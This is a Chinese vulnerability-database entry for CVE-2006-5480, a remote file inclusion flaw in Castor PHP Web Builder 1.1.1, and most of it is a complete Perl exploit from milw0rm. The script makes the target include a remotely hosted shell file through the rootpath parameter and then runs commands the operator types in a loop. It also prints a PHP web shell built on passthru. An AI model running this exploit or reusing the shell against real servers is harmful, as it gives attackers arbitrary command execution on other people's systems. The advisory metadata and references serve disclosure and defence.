Castor 'lib/rs.php' PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111345 漏洞类型 代码注入
发布时间 2006-10-21 更新时间 2006-10-25
CVE编号 CVE-2006-5480 CNNVD-ID CNNVD-200610-399
漏洞平台 PHP CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/2606
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-399
|漏洞详情
CastorPHPWebBuilder1.1.1的lib/rs.php中存在PHP远程文件包含漏洞。远程攻击者可借助rootpath参数执行任意PHP代码。
|漏洞EXP
#!/usr/bin/perl
#
# CASTOR <= 1.1.1 Remote Command Execution Vulnerability
# 
# Risk : High (Remote Code Execution)
# 
# Url: svn.gna.org/svn/castor/trunk 
#
# Exploit: 
#   http://www.site.com/[path]/lib/rs.php?rootpath=[Evil_Script]
# 
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
#  Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST !

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ".  CASTOR <= 1.1.1 Remote Command Execution Vulnerability     .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RST-CREW.NET         .\n";
print ".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            .\n"; 
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];	
chomp($shell);
    
$path = $path."/lib/rs.php";


sub usage(){
	print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
	print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
        print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
           }

while ()  
{  
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?rootpath=".$shell."?&cmd=".$cmd; 
if ($cmd eq "")     
  { print "Enter your command !\n"; }
else 
  { $data=get($kw3); print $data ; }

}

# milw0rm.com [2006-10-21]
|参考资料

来源:XF
名称:castor-rs-file-include(29704)
链接:http://xforce.iss.net/xforce/xfdb/29704
来源:BID
名称:20658
链接:http://www.securityfocus.com/bid/20658
来源:VUPEN
名称:ADV-2006-4143
链接:http://www.frsirt.com/english/advisories/2006/4143
来源:SECUNIA
名称:22527
链接:http://secunia.com/advisories/22527
来源:MILW0RM
名称:2606
链接:http://milw0rm.com/exploits/2606